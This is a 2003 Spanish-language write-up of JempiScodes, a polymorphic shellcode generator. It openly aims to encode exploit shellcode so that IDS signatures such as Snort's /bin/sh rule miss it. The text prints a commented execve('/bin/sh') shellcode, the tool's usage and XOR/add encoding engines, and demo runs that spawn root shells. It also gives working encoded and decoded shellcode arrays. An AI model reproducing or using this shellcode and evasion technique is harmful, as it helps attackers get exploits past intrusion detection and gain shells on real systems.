* JempiScodes (Version 0.3) Polymorphic Shellcode Generator * * by Matias Sedalo * http://www.shellcode.com.ar (c)Febrero 2003. ................................................................. * P o l y m o r p h i c S h e l l c o d e G e n e r a t o r * ................................................................. --[ Mejoras. - Codigo optimizado. - Reduccion del viejo engine en 4 bytes. - Agregado de nuevos engines. - Facilidad para que puedas agregar tus propios engines. --[ 0x0 Acerca de JempiScodes JempiScodes nace basicamente con la idea de poder enmascarar la funcion final de los shellcode en los exploits. Debido a la gran cantidad y variedad de IDS en el mercado, muchos de los cuales detectan un ataque mediante la shellcode que se esta enviando. Por ejemplo, seria muy facil para cualquier IDS determinar cuando se esta enviando un Syscall al equipo). Pueden ver en la siguiente figura los opcode \xcd\x80 perteneciente a la llamada al sistema, , y cual es la deteccion de la intrusion en el IDS. execve(/bin/sh) --------------------------------------------------------- |"\xeb\x18" // jmp | |"\x5f" // popl %edi | |"\x89\x7f\x08" // movl %edi,0x8(%edi) | |"\x31\xc0" // xorl %eax,%eax | |"\x88\x47\x07" // movb %al,0x7(%edi) | |"\x89\x47\x0c" // movl %eax,0xc(%edi) | |"\x89\xfb" // movl %edi,%ebx | |"\x8d\x4f\x08" // leal 0x8(%edi),%ecx | |"\x8d\x57\x0c" // leal 0xc(%edi),%edx | Syscall |"\xb0\x0b" // movb $0xb,%al | =======>|"\xcd\x80" // int $0x80 | WARN |"\xe8\xe3\xff\xff\xff" // call | =======>|"/bin/sh"; | --------------------------------------------------------- De esta manera, los IDS pueden actuar de moderadores de paquetes mediante esta tecnica de inspeccion. Obviamente el string /bin/sh sera mas que una alarma para el IDS. Cabe destacar que los algoritmos de encripcion de esta nueva version fueron desarrollados, para lograr una simple mascara de opcodes, y no para lograr una encripcion potente. Considerando que cuanto mas complejo sea el algoritmo, mas aumentara el tama#o de la engine de desencripcion. A nosostros lo unico que nos interesa es que no ocurra esto en los IDS a atacar.(yo no ataco nada es solo en el supuesto caso) :-) ------------------------------------------------------------------- [**] [1:652:4] SHELLCODE linux shellcode /bin/sh [**] [Classification: Executable code was detected] [Priority: 1] 06/07-15:47:41.341221 192.168.1.5:1102 -> 192.168.1.60:500 TCP TTL:64 TOS:0x0 ID:19529 IpLen:20 DgmLen:1500 ***AP*** Seq: 0xE27DFB6B Ack: 0x3CA44A59 Win: 0x2000 TcpLen: 20 [Xref => http://www.whitehats.com/info/IDS343] ------------------------------------------------------------------- Por lo tanto, que tal si tuvieramos una shellcode que no contenga caracteres legibles ni la famosa llamada al sistema, y que ademas funcione en nuestro xploit. --[ 0x1 Engine + Shellcode De acuerdo a nuestro objetivo, ya claramente definido, dejo un cuadro donde expongo cual seria la shellcode final resultante del trabajo de JempiScodes. Shellcode Original------>> Shellcode Final. ------------------------- | -Engine | | -Ejecutar | | | |---------------| | |-Shellcode Encoded-| | |SSSSSSSSSSSSSSS| | |XXXXXXXXXXXXXXXXXXX| | |SSSSSSSSSSSSSSS|----------->|XXXXXXXXXXXXXXXXXXX| | ^^^^^^^^^^^^^^^^^ | ^^^^^^^^^^^^^^^^^^^^^ | ------------------------- Bueno queda bien claro que la Shellcode final difiere en tama#o con respecto a la original, pero podria no importarnos. A quien no le interese generar nuevos engines para variar un poco las shellcodes polimorficas obtenidas con los engines default, solo deben buscar alguna shellcode que tengan por ahi, mandarla a un archivo con el formato \xAB y luego JempiScodes hara el resto. (no olviden de pasar a hexa toda la shellcode ya que la busqueda es de \xAB) Por lo tanto, nuestra shellcode final, contara de una primera parte que es la encargada de desencriptar la segunda parte. 2 acotaciones importantes para encriptar nuestra shellcode. Consideraciones sobre shellcode con los engines default. - La shellcode Original no debe ser mayor a 127bytes. --[ 0x3 Ejecutando JempiScodes Hagamos una breve aunque quizas redundante explicacion de la ejecucion de JempiScode usage: ./jempco [<-d>|<-e>] [-m <#>] <-s #> [-i file] <-o file> <-r> <-h long help> Options: -d Decrypt -e Encrypt (default) -m # Method number defined below. -s # Seed must be a / or <0> to generate it -i input Define the input to parse the data. -o output Write the result to -r Run shellcode for testing. -h this help Method: <0x00> - Chained Xor 8 bits (Difficult) <0x01> - Common Xor 8 bits (Easy) <0x02> - Common Add 8 bits (Easy) <0x03> - Chained Xor 16 bits (Medium) <-d> Desencriptar. <-e> Encriptar ( Si no se especifica alguna de las 2 opciones JempiScode encriptara por defecto ) <-m #> Sera el metodo utilizado para enmascarar nuestra shellcode original. <-s> En caso de desencripcion la semilla debe ser especificada. En caso de encripcion la semilla puede ser ignorada, entonces Jempco generara una en forma aleatoria de acuerdo al intervalo preestablecido. [-i] Especificamos el archivo donde contenemos los datos a tratar. <-o> Un archivo donde guardar nuestra salida. <-r> Esta opcion nos servira para poder probar tanto nuestra nueva shellcode polimorfica como la shellcode desencriptada de la polimorfica. Para utilizar esta opcion es necesario ser root. Jempco esperara el final de la ejecucion antes de su salida normal. --[ 0x4 Demostracion Tomemos cualquier shellcode que tengamos por ahi, con el formato \xAB. Una vez tengamos esto en un archivo hacemos lo siguiente: > ./jempco -e -m 0x0 -i scode-lnx.c -r -o scode-lnx0.c (c)2003 JempiScodes version 0.4r1 (Polymorphic Shellcode Generator) by Matias Sedalo [*] ENCRYPT [*] Engine: <0x00> Chained Xor 8 bits (Difficult) [*] Size Engine: 031 bytes (1f) [*] Seed: Random generate [*] Input file: "scode-lnx.c" [*] File size: 939 bytes [*] Content: [ 31 c0 50 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 99 52 53 89 e1 . . . ] [*] Shellcode length: 024 bytes (18) [*] Generated seed: 0x0061 [*] New lenght: 054 bytes (36) [*] Running final Shellcode in a child process. [...] sh-2.05# exit exit Signal:(0) Success. Pid: 243 [...] ----------------cut here------------------- char shellcode[]= "\xeb\x17\x5e\x6a\x61\x6a\x18\x59\x01\xce\x5b\x4e\x49\xf6\xd3" "\x30\x1e\x8a\x1e\x85\xc9\x75\xf4\xeb\x05\xe8\xe4\xff\xff\xff" "\x0e\x6f\xc7\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2\xf4\x1f\x95\x85" "\x34\xfe\x25\x97\xae\x44\x39\xb2\x1e"; ----------------cut here------------------- [*] EOF > Notese que agregamos la opcion -r para poder probar que la shellcode polimorfica generada funcione correctamente, y ademas al no especificar una semilla, jempco genero una en forma aleatorio. Por lo tanto en scode-lnx0.c tendremos exactamente lo que vimo entre los '---cut here---'. Recuerden ahora que para poder desencriptar nuestra shellcode polimorfica necesitaremos la semilla, entoces; hagamos esto a partir de nuestro nuevo archivo scode-lnx0.c: > ./jempco -d -m 0x0 -s 0x61 -i scode-lnx0.c -r (c)2003 JempiScodes version 0.4r1 (Polymorphic Shellcode Generator) by Matias Sedalo [*] DECRYPT [*] Engine: <0x00> Chained Xor 8 bits (Difficult) [*] Size Engine: 031 bytes (1f) [*] Seed: 0x0061 [*] Input file: "scode-lnx0.c" [*] File size: 247 bytes [*] Content: [ eb 17 5e 6a 61 6a 18 59 01 ce 5b 4e 49 f6 d3 30 1e 8a 1e 85 . . . ] [*] Shellcode length: 054 bytes (36) [*] New lenght: 024 bytes (18) [*] Running final Shellcode in a child process. [...] sh-2.05# exit exit Signal:(0) Success. Pid: 249 [...] ----------------cut here------------------- char shellcode[]= "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; ----------------cut here------------------- [*] EOF > La ejecucion de la shellcode se da en un proceso hijo de jempco y este esperara a que termine dicha ejecucion antes de salir normalmente, de esta manera en caso que genere un core podran debaguearlo sin problemas. Pueden ver ahora en scode-lnx.c la shellcode original y compararla. --[ 0x4 Agradecimientos. o Muchas Gracias nonickname por el ingles. o Gracias Carol por aguantar mis horas sobre la maquina. Pueden enviarme sus comentarios, criticas y demas yerbas a: Matias Sedalo http://www.shellcode.com.ar - Internet es perjudicial para la salud - Ley N~ 127.0.0.1 _EOF_Powered by vim editor && AnsiC.